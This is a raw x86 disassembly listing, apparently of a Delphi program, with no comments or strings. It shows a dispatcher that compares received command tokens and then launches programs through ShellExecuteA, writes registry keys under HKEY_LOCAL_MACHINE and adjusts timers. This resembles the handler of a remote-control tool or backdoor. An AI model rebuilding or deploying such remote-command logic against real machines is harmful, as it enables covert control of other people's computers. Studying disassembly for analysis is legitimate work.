call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8358]
push eax
lea ecx, [ebp - 0x835c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x835c]
call fcn.004095bd
push eax
lea ecx, [ebp - 0x8360]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8360]
call fcn.004095bd
push eax
lea ecx, [ebp - 0x8364]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8364]
call fcn.004095bd
push eax
lea ecx, [ebp - 0x8368]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8368]
mov eax, dword [ebp - 4]
pop ecx
call fcn.0049343d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f3d4
lea ecx, [ebp - 0x836c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x836c]
mov edx, 0x49055d
call fcn.00405241
jne 0x48f4c9
xor eax, eax
push ebp
push 0x48f43b
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x49c304], 0
je 0x48f420
mov eax, dword [0x49c310]
call fcn.0041c691
mov dl, 1
mov eax, dword [0x489285]
call fcn.00489375
mov dword [0x49c310], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f445
lea eax, [ebp - 0x30]
mov edx, 0x4901b9
call fcn.00404ecd
lea edx, [ebp - 0x8370]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x8370]
lea eax, [ebp - 0x30]
call fcn.00404ecd
mov ecx, 0x4901ad
lea eax, [ebp - 0x8374]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x8374]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea edx, [ebp - 0x30]
mov eax, 0x490569
call fcn.0046afd1
mov ecx, 0x4901ad
lea eax, [ebp - 0x8378]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x8378]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x837c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x837c]
mov edx, 0x490579
call fcn.00405241
jne 0x48f6aa
xor eax, eax
push ebp
push 0x48f607
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov edx, dword [eax]
call dword [edx + 0x58]
lea ecx, [ebp - 0x8380]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8380]
call fcn.004095bd
mov dword [0x49c348], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x30c]
mov eax, dword [ebp - 4]
call fcn.0048b8d1
test al, al
je 0x48f5f0
xor eax, eax
push ebp
push 0x48f5b6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov edx, 0x490331
call fcn.00404ecd
lea edx, [ebp - 0x8384]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x8384]
lea eax, [ebp - 0x30]
call fcn.00404ecd
mov ecx, 0x4901ad
lea eax, [ebp - 0x8388]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x8388]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f5e8
mov eax, dword [ebp - 4]
call fcn.0048cb65
lea eax, [ebp - 0x18]
mov edx, 0x490585
call fcn.00404ecd
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f628
lea eax, [ebp - 0x30]
mov edx, 0x4901b9
call fcn.00404ecd
lea edx, [ebp - 0x838c]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x838c]
lea eax, [ebp - 0x30]
call fcn.00404ecd
mov ecx, 0x4901ad
lea eax, [ebp - 0x8390]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x8390]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0046afd1
mov ecx, 0x4901ad
lea eax, [ebp - 0x8394]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x8394]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8398]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8398]
mov edx, 0x4905a5
call fcn.00405241
jne 0x48f7b3
lea eax, [ebp - 0x18]
mov edx, 0x4905b1
call fcn.00404ecd
xor eax, eax
push ebp
push 0x48f71a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x49c348], 0xffffffff
mov eax, dword [ebp - 4]
call fcn.0048cce1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov edx, dword [eax]
call dword [edx + 0x58]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f731
lea eax, [ebp - 0x30]
mov edx, 0x4901b9
call fcn.00404ecd
lea edx, [ebp - 0x839c]
mov eax, dword [ebp - 0x30]
call fcn.0046afd1
mov edx, dword [ebp - 0x839c]
lea eax, [ebp - 0x30]
call fcn.00404ecd
mov ecx, 0x4901ad
lea eax, [ebp - 0x83a0]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x83a0]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0046afd1
mov ecx, 0x4901ad
lea eax, [ebp - 0x83a4]
mov edx, dword [ebp - 0x30]
call fcn.00405141
mov edx, dword [ebp - 0x83a4]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x83a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83a8]
mov edx, 0x4905d1
call fcn.00405241
jne 0x48f836
xor eax, eax
push ebp
push 0x48f7ff
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00471ea1
lea edx, [ebp - 0x30]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f809
cmp dword [ebp - 0x30], 0
jne 0x48f81c
lea eax, [ebp - 0x30]
mov edx, 0x4905dd
call fcn.00404ecd
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov ecx, 0x49033d
mov eax, dword [ebp - 4]
call fcn.0048b971
lea ecx, [ebp - 0x83ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83ac]
mov edx, 0x4905e9
call fcn.00405241
jne 0x48f89b
xor eax, eax
push ebp
push 0x48f891
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00491a65
mov edx, 0x4905f5
mov eax, dword [ebp - 4]
call fcn.0048c5a9
push 0
call sub.user32.dll_DrawTextA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f89b
lea ecx, [ebp - 0x83b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83b0]
mov edx, 0x490605
call fcn.00405241
jne 0x48f961
xor eax, eax
push ebp
push 0x48f8fa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0048ae0d
xor edx, edx
mov eax, dword [0x49c154]
call fcn.00409add
mov eax, dword [ebp - 4]
call fcn.00491a65
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48f904
lea eax, [ebp - 0x83b4]
mov edx, dword [0x49c124]
call fcn.0040502d
mov eax, dword [ebp - 0x83b4]
call fcn.00471c2d
lea edx, [ebp - 0x83bc]
xor eax, eax
call fcn.00403299
mov eax, dword [ebp - 0x83bc]
call fcn.004052f5
mov edx, eax
lea eax, [ebp - 0x83b8]
call fcn.0040502d
mov eax, dword [ebp - 0x83b8]
xor edx, edx
call fcn.00409add
mov eax, dword [ebp - 4]
call fcn.0048ad91
push 0
call sub.user32.dll_DrawTextA
lea ecx, [ebp - 0x83c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83c0]
mov edx, 0x490611
call fcn.00405241
jne 0x48fa6a
lea eax, [ebp - 0x83c4]
push eax
lea ecx, [ebp - 0x83c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83c8]
mov ecx, 2
mov edx, 1
call fcn.00405355
mov eax, dword [ebp - 0x83c4]
mov edx, 0x49061d
call fcn.00405241
jne 0x48f9d3
xor ebx, ebx
jmp 0x48f9d7
mov bx, 1
xor eax, eax
push ebp
push 0x48fa60
push dword fs:[eax]
mov dword fs:[eax], esp
movzx eax, bx
push eax
push 0
lea eax, [ebp - 0x83cc]
push eax
lea ecx, [ebp - 0x83d0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83d0]
call fcn.004050f5
push eax
lea ecx, [ebp - 0x83d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83d4]
mov edx, 2
pop ecx
call fcn.00405355
mov eax, dword [ebp - 0x83cc]
call fcn.004052f5
push eax
push 0x490621
push 0x490631
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48fa6a
lea ecx, [ebp - 0x83d8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83d8]
mov edx, 0x490641
call fcn.00405241
jne 0x48fada
xor edx, edx
push ebp
push 0x48fad0
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x83dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x83dc]
mov dl, 1
mov eax, dword [0x486a91]
call fcn.00486b21
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48fada
lea ecx, [ebp - 0x83e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83e0]
mov edx, 0x49064d
call fcn.00405241
jne 0x48fb9c
xor eax, eax
push ebp
push 0x48fb85
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x42a6bd]
call fcn.0042a7bd
mov dword [ebp - 0x2c], eax
mov edx, 0x80000002
mov eax, dword [ebp - 0x2c]
call fcn.0042a85d
mov edx, 0x490659
mov eax, dword [ebp - 0x2c]
call fcn.0042b1e9
test al, al
jne 0x48fb4d
mov edx, 0x490659
mov eax, dword [ebp - 0x2c]
call fcn.0042a8c5
mov cl, 1
mov edx, 0x490659
mov eax, dword [ebp - 0x2c]
call fcn.0042a9a1
xor ecx, ecx
mov edx, 0x490695
mov eax, dword [ebp - 0x2c]
call fcn.0042afe1
mov eax, dword [ebp - 0x2c]
call fcn.0042a82d
mov eax, dword [ebp - 0x2c]
call fcn.00404061
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48fb8f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x83e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83e4]
mov edx, 0x4906b1
call fcn.00405241
jne 0x48fc77
xor eax, eax
push ebp
push 0x48fc60
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x42a6bd]
call fcn.0042a7bd
mov dword [ebp - 0x2c], eax
mov edx, 0x80000002
mov eax, dword [ebp - 0x2c]
call fcn.0042a85d
mov edx, 0x4906bd
mov eax, dword [ebp - 0x2c]
call fcn.0042b1e9
test al, al
jne 0x48fc0f
mov edx, 0x4906bd
mov eax, dword [ebp - 0x2c]
call fcn.0042a8c5
mov cl, 1
mov edx, 0x4906bd
mov eax, dword [ebp - 0x2c]
call fcn.0042a9a1
lea ecx, [ebp - 0x83e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x83e8]
mov edx, 0x4906f5
mov eax, dword [ebp - 0x2c]
call fcn.0042aecd
mov eax, dword [ebp - 0x2c]
call fcn.0042a82d
mov eax, dword [ebp - 0x2c]
call fcn.00404061
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48fc6a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x83ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83ec]
mov edx, 0x490705
call fcn.00405241
jne 0x48fd16
xor eax, eax
push ebp
push 0x48fd0c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00491a65
push 0x3e8
call fcn.0040e5fd
lea ecx, [ebp - 0x83f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83f0]
call fcn.004052f5
mov dword [0x49c10c], eax
lea eax, [ebp - 0x83f4]
mov edx, dword [0x49c10c]
call fcn.0040502d
mov edx, dword [ebp - 0x83f4]
mov eax, dword [ebp - 4]
call fcn.0048c5a9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48fd16
lea ecx, [ebp - 0x83f8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83f8]
mov edx, 0x490711
call fcn.00405241
jne 0x48fd9b
xor eax, eax
push ebp
push 0x48fd7a
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x83fc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83fc]
call fcn.004095bd
mov dword [0x49c314], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48fd8e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8400]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8400]
mov edx, 0x49071d
call fcn.00405241
jne 0x48fe04
xor eax, eax
push ebp
push 0x48fded
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x49c304], 0
je 0x48fde3
mov eax, dword [0x49c310]
call fcn.0041c691
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48fdf7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x8404]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8404]
mov edx, 0x490729
call fcn.00405241
jne 0x49009a
xor eax, eax
push ebp
push 0x490086
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x840c]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 0x18]
call fcn.00405355
mov eax, dword [ebp - 0x840c]
lea edx, [ebp - 0x8408]
call fcn.00408fd5
mov eax, dword [ebp - 0x8408]
mov edx, 0x490735
call fcn.00405241
jne 0x48fece
mov eax, dword [0x49a234]
push eax
mov edx, dword [ebp - 0x18]
mov eax, 0x490745
call fcn.00405439
mov ecx, eax
sub ecx, 8
mov edx, 8
mov eax, dword [ebp - 0x18]
call fcn.00405355
mov edx, dword [ebp - 0x18]
mov eax, 0x490745
call fcn.00405439
mov ecx, eax
lea eax, [ebp - 0x18]
mov edx, 1
call fcn.00405395
jmp 0x48ff0d
mov eax, dword [0x49a234]
push eax
mov edx, dword [ebp - 0x18]
mov eax, 0x490745
call fcn.00405439
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x18]
call fcn.00405355
mov edx, dword [ebp - 0x18]
mov eax, 0x490745
call fcn.00405439
mov ecx, eax
lea eax, [ebp - 0x18]
mov edx, 1
call fcn.00405395
lea ecx, [ebp - 0x8410]
mov edx, dword [0x49a234]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.00491b49
mov edx, dword [ebp - 0x8410]
mov eax, dword [0x499b68]
call fcn.00404e89
lea eax, [ebp - 0x8414]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 0x18]
call fcn.00405355
mov eax, dword [ebp - 0x8414]
mov edx, 0x490751
call fcn.00405241
je 0x48ff6e
lea eax, [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov edx, 0x490751
call fcn.00405141
mov eax, dword [0x499c7c]
push eax
mov edx, dword [ebp - 0x18]
mov eax, 0x490745
call fcn.00405439
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x18]
call fcn.00405355
mov edx, dword [ebp - 0x18]
mov eax, 0x490745
call fcn.00405439
mov ecx, eax
lea eax, [ebp - 0x18]
mov edx, 1
call fcn.00405395
mov eax, dword [0x499e1c]
push eax
mov edx, dword [ebp - 0x18]
mov eax, 0x490745
call fcn.00405439
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x18]
call fcn.00405355
mov edx, dword [ebp - 0x18]
mov eax, 0x490745
call fcn.00405439
mov ecx, eax
lea eax, [ebp - 0x18]
mov edx, 1
call fcn.00405395
lea eax, [ebp - 0x8418]
push eax
mov edx, dword [ebp - 0x18]
mov eax, 0x490745
call fcn.00405439
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x18]
call fcn.00405355
mov eax, dword [ebp - 0x8418]
call fcn.004095bd
mov ebx, eax
mov edx, dword [ebp - 0x18]
mov eax, 0x490745
call fcn.00405439
mov ecx, eax
lea eax, [ebp - 0x18]
mov edx, 1
call fcn.00405395
mov eax, dword [ebp - 0x18]
call fcn.004095bd
mov dword [0x49c15c], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
mov edx, 0xea60
call fcn.0042a019
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
mov dl, 1
call fcn.0042a009
test ebx, ebx
jle 0x49007c
mov dl, 1
mov eax, dword [0x487891]
call fcn.004878ed
dec ebx
jne 0x49006d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490090
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
lea ecx, [ebp - 0x841c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x841c]
mov edx, 0x49075d
call fcn.00405241
jne 0x4900fe
xor eax, eax
push ebp
push 0x4900ea
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x487891]
call fcn.004878ed
call fcn.0041c691
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4900f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x490112
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49015c
lea eax, [ebp - 0x841c]
mov edx, 0x64
call fcn.00404e59
lea eax, [ebp - 0x828c]
mov edx, 0x44
call fcn.00404e59
lea eax, [ebp - 0x30]
call fcn.00404e35
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00404e59
ret